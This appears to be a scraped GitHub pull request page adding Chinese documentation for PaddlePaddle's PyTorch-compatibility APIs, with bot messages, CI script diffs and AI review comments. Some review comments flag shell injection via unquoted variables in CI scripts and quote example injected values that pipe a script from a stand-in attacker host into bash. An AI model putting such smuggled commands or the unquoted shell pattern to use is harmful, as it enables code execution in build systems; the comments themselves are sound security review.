[Compat] Expose torch compat APIs as public API #7667

SigureMo · 2025-12-12T06:25:38Z

英文文档：[Compat] Expose torch compat APIs as public API Paddle#76823

paddle-bot · 2025-12-12T06:25:46Z

感谢你贡献飞桨文档，文档预览构建中，Docs-New 跑完后即可预览，预览链接：http://preview-pr-7667.paddle-docs-preview.paddlepaddle.org.cn/documentation/docs/zh/api/index_cn.html
预览工具的更多说明，请参考：飞桨文档预览工具

github-actions · 2025-12-12T06:26:08Z

📚 本次 PR 文档预览链接（点击展开）

ℹ️ 预览提醒请等待 `Docs-NEW` 流水线运行完成后再点击预览链接，否则可能会看到旧版本内容或遇到链接无法访问的情况。

docs/api/paddle/Overview_cn.rst: 点击预览
docs/api/paddle/disable_compat_cn.rst: 点击预览
docs/api/paddle/enable_compat_cn.rst: 点击预览
docs/guides/custom_op/cross_ecosystem_custom_op/design_and_migration_cn.md: 点击预览
docs/guides/custom_op/cross_ecosystem_custom_op/user_guide_cn.md: 点击预览

Copilot

Pull request overview

This PR adds Chinese documentation for four PyTorch proxy APIs in the paddle.compat module, making these compatibility features accessible to Chinese-speaking developers.

Adds documentation for four PyTorch proxy control functions: enable_torch_proxy, disable_torch_proxy, use_torch_proxy_guard, and extend_torch_proxy_blocked_modules
Updates the Overview_cn.rst to include a new "PyTorch 兼容代理" (PyTorch Compatibility Proxy) section with references to these APIs
Provides comprehensive parameter descriptions and code examples for each API

Reviewed changes

Copilot reviewed 5 out of 5 changed files in this pull request and generated 4 comments.

Show a summary per file

File	Description
docs/api/paddle/compat/use_torch_proxy_guard_cn.rst	Adds documentation for context manager to temporarily enable/disable PyTorch proxy
docs/api/paddle/compat/extend_torch_proxy_blocked_modules_cn.rst	Adds documentation for extending the PyTorch proxy blocked modules list
docs/api/paddle/compat/enable_torch_proxy_cn.rst	Adds documentation for enabling PyTorch proxy functionality with two code examples
docs/api/paddle/compat/disable_torch_proxy_cn.rst	Adds documentation for disabling PyTorch proxy functionality
docs/api/paddle/compat/Overview_cn.rst	Adds new "PyTorch 兼容代理" section with table listing all four proxy APIs

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

docs/api/paddle/compat/enable_torch_proxy_cn.rst

docs/api/paddle/compat/Overview_cn.rst

docs/api/paddle/compat/use_torch_proxy_guard_cn.rst

docs/api/paddle/compat/enable_torch_proxy_cn.rst

Co-authored-by: Copilot <[email protected]>

docs/api/paddle/compat/use_torch_proxy_guard_cn.rst

SigureMo · 2025-12-13T20:35:16Z

ci_scripts/gendoc.sh

    fi
    echo "Installing local wheel file..."
-    pip3 install --no-cache-dir -q --progress-bar off -i https://pypi.tuna.tsinghua.edu.cn/simple /tmp/paddle.whl
+    pip3 install --no-cache-dir -q --progress-bar off -i https://pypi.tuna.tsinghua.edu.cn/simple /tmp/${WHL_NAME}


2025-12-14 04:14:51 + echo 'Installing local wheel file...' 2025-12-14 04:14:51 Installing local wheel file... 2025-12-14 04:14:51 + pip3 install --no-cache-dir -q --progress-bar off -i https://pypi.tuna.tsinghua.edu.cn/simple /tmp/paddle.whl 2025-12-14 04:14:52 ERROR: paddle.whl is not a valid wheel filename

paddle.whl 非合法 wheel name

ooooo-create

LGTM

Copilot

Pull request overview

Copilot reviewed 7 out of 7 changed files in this pull request and generated 5 comments.

docs/api/paddle/compat/enable_compat_cn.rst

Copilot · 2025-12-17T16:59:51Z

docs/guides/custom_op/cross_ecosystem_custom_op/design_and_migration_cn.md

 - **算子注册兼容层**：对于使用 pybind11 进行算子注册的 PyTorch 自定义算子，PaddlePaddle 无需额外修改注册代码；而对于使用 `TORCH_LIBRARY` 宏进行注册并通过 `torch.ops` 调用的算子，我们提供了同名的注册接口，用户无需修改注册代码即可完成迁移。
 - **Python 接口兼容层**：对于 Python 端自定义算子封装部分，会不可避免地调用一些 PyTorch 内的 Python 组网 API。为此，我们正在致力于提升 Python 端 API 与 PyTorch 的兼容性，力求让用户在迁移过程中无需修改 Python 端代码。
- **Python API 代理层**：在 Python 端，即便 API 能够完全兼容，用户仍然需要将 `import torch` 替换为 `import paddle`。为此，我们提供了一个轻量级的代理层，用户只需在迁移后的代码开头添加一行 `import paddle.compat.enable_torch_proxy`，后续的 `torch` 下的模块将被重定向至 `paddle` 下的模块，从而实现无缝迁移。
+- **Python API 代理层**：在 Python 端，即便 API 能够完全兼容，用户仍然需要将 `import torch` 替换为 `import paddle`。为此，我们提供了一个轻量级的代理层，用户只需在迁移后的代码开头添加一行 `import paddle.enable_compat`，后续的 `torch` 下的模块将被重定向至 `paddle` 下的模块，从而实现无缝迁移。


描述不准确。此处表述为"添加一行 import paddle.enable_compat"，但 paddle.enable_compat 是一个函数，应该调用而非导入。建议修改为"调用 paddle.enable_compat() 函数"或"添加一行 paddle.enable_compat() 调用"，以准确描述使用方式。

Copilot · 2025-12-17T16:59:51Z

ci_scripts/gendoc.sh

+  if [[ "${PADDLE_WHL}" == 'http'*'.whl' ]]; then
    echo "Downloading wheel file: ${PADDLE_WHL}"
-    wget -q ${PADDLE_WHL} -O /tmp/paddle.whl
+    WHL_NAME=$(basename ${PADDLE_WHL})
+    wget -q ${PADDLE_WHL} -O /tmp/${WHL_NAME}


The use of PADDLE_WHL here is vulnerable to shell command injection because it is expanded unquoted in both basename and wget, and its value ultimately originates from PR metadata (via ci_start.sh). An attacker can craft a PADDLEPADDLE_PR value in a docs PR body containing shell metacharacters (e.g., ; or &&), which flows into PADDLE_WHL and causes arbitrary commands to be executed in the CI environment when this script runs. To fix this, strictly validate PADDLE_WHL against an allowlist of expected URL patterns and always quote it when passing to shell commands (e.g., in WHL_NAME computation and the wget invocation).

Copilot · 2025-12-17T16:59:52Z

ci_scripts/gendoc.sh

+    pip3 install --no-cache-dir -q --progress-bar off -i https://pypi.tuna.tsinghua.edu.cn/simple /tmp/${WHL_NAME}
  else
    echo "Using pip install directly..."
    pip3 install --no-cache-dir -q --progress-bar off -i https://pypi.tuna.tsinghua.edu.cn/simple ${PADDLE_WHL}


PADDLE_WHL is expanded unquoted when passed to pip3 install, which allows shell command injection if an attacker controls this variable via the docs PR metadata (PADDLEPADDLE_PR → paddle_pr_id → paddle_whl_tmp → PADDLE_WHL). A malicious value like "https://example.com/a.whl; curl https://attacker/sh | bash" would cause the extra command to run in the CI environment rather than just installing the wheel. To mitigate this, ensure PADDLE_WHL is strictly validated (e.g., only trusted domains and formats) and always quoted when used as a shell argument to pip3.

好像有道理，后面再看看

cc @ooooo-create

Copilot · 2025-12-17T16:59:52Z

ci_scripts/ci_start.sh

+        paddle_whl_tmp="https://paddle-github-action.bj.bcebos.com/PR/build/${paddle_pr_id}/${paddle_pr_latest_commit}/paddlepaddle_gpu-0.0.0-cp310-cp310-linux_x86_64.whl"
        http_code=$(curl -sIL -w "%{http_code}" -o /dev/null -X GET -k ${paddle_whl_tmp})


paddle_whl_tmp is interpolated into the curl command without quoting, and its value is built from paddle_pr_id, which in turn is parsed from the docs PR body (PADDLEPADDLE_PR in get_paddle_pr_num_from_docs_pr_info). A malicious contributor can embed shell metacharacters in the PR body (e.g., PADDLEPADDLE_PR=123; curl https://attacker/sh | bash) so that when paddle_whl_tmp is constructed and expanded here, arbitrary commands execute in the CI environment. To prevent this, treat paddle_pr_id as untrusted: strictly validate it (e.g., numeric-only), construct URLs safely, and always quote paddle_whl_tmp when passing it to shell commands like curl.

Co-authored-by: Copilot <[email protected]>

docs/guides/custom_op/cross_ecosystem_custom_op/design_and_migration_cn.md

…ration_cn.md

sunzhongkai588

LGTM

[Compat] Expose torch proxy APIs as public API

dee522d

Copilot AI review requested due to automatic review settings December 12, 2025 06:25

SigureMo requested review from Echo-Nie, jzhang533, mattheliu, ooooo-create and sunzhongkai588 as code owners December 12, 2025 06:25

Copilot started reviewing on behalf of SigureMo December 12, 2025 06:26 View session

Copilot AI reviewed Dec 12, 2025

View reviewed changes

Apply suggestions from code review

80e1918

Co-authored-by: Copilot <[email protected]>

SigureMo commented Dec 12, 2025

View reviewed changes

docs/api/paddle/compat/use_torch_proxy_guard_cn.rst Outdated Show resolved Hide resolved

Update docs/api/paddle/compat/use_torch_proxy_guard_cn.rst

6dc72a2

SigureMo mentioned this pull request Dec 12, 2025

[Compat] Expose torch compat APIs as public API PaddlePaddle/Paddle#76823

Merged

SigureMo added 2 commits December 14, 2025 04:12

update paddle_whl_tmp url

c5c0e86

fix invalid wheel name

4e03ff9

SigureMo commented Dec 13, 2025

View reviewed changes

SigureMo added 3 commits December 14, 2025 04:42

check wheel can be import

b1060a3

paddle.compat.enable_torch_proxy -> paddle.enable_compat

952b43b

Merge branch 'develop' into compat/expose-torch-proxy-apis-as-public-api

1de3774

SigureMo changed the title ~~[Compat] Expose torch proxy APIs as public API~~ [Compat] Expose torch compat APIs as public API Dec 17, 2025

ooooo-create approved these changes Dec 17, 2025

View reviewed changes

SigureMo requested a review from Copilot December 17, 2025 16:50

Copilot started reviewing on behalf of SigureMo December 17, 2025 16:50 View session

Copilot AI reviewed Dec 17, 2025

View reviewed changes

Update docs/api/paddle/compat/enable_compat_cn.rst

9fbff28

Co-authored-by: Copilot <[email protected]>

SigureMo commented Dec 17, 2025

View reviewed changes

docs/guides/custom_op/cross_ecosystem_custom_op/design_and_migration_cn.md Outdated Show resolved Hide resolved

SigureMo added 2 commits December 18, 2025 01:08

Update docs/guides/custom_op/cross_ecosystem_custom_op/design_and_mig…

895752a

…ration_cn.md

empty commit

e1833d0

empty commit

44bc56c

sunzhongkai588 approved these changes Dec 18, 2025

View reviewed changes

SigureMo added 2 commits December 19, 2025 02:08

empty commit

e55768e

move docs file

423ee45

SigureMo merged commit 5b568f5 into PaddlePaddle:develop Dec 18, 2025
5 checks passed

SigureMo deleted the compat/expose-torch-proxy-apis-as-public-api branch December 18, 2025 23:47

		paddle_whl_tmp="https://paddle-github-action.bj.bcebos.com/PR/build/${paddle_pr_id}/${paddle_pr_latest_commit}/paddlepaddle_gpu-0.0.0-cp310-cp310-linux_x86_64.whl"
		http_code=$(curl -sIL -w "%{http_code}" -o /dev/null -X GET -k ${paddle_whl_tmp})

[Compat] Expose torch compat APIs as public API #7667

[Compat] Expose torch compat APIs as public API #7667

Uh oh!

Conversation

SigureMo commented Dec 12, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

paddle-bot bot commented Dec 12, 2025

Uh oh!

github-actions bot commented Dec 12, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

SigureMo Dec 13, 2025

Choose a reason for hiding this comment

Uh oh!

ooooo-create left a comment

Choose a reason for hiding this comment

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Uh oh!

Uh oh!

Copilot AI Dec 17, 2025

Choose a reason for hiding this comment

Uh oh!

Copilot AI Dec 17, 2025

Choose a reason for hiding this comment

Uh oh!

Copilot AI Dec 17, 2025

Choose a reason for hiding this comment

Uh oh!

SigureMo Dec 17, 2025

Choose a reason for hiding this comment

Uh oh!

Copilot AI Dec 17, 2025

Choose a reason for hiding this comment

Uh oh!

Uh oh!

sunzhongkai588 left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

SigureMo commented Dec 12, 2025 •

edited

Loading

github-actions bot commented Dec 12, 2025 •

edited

Loading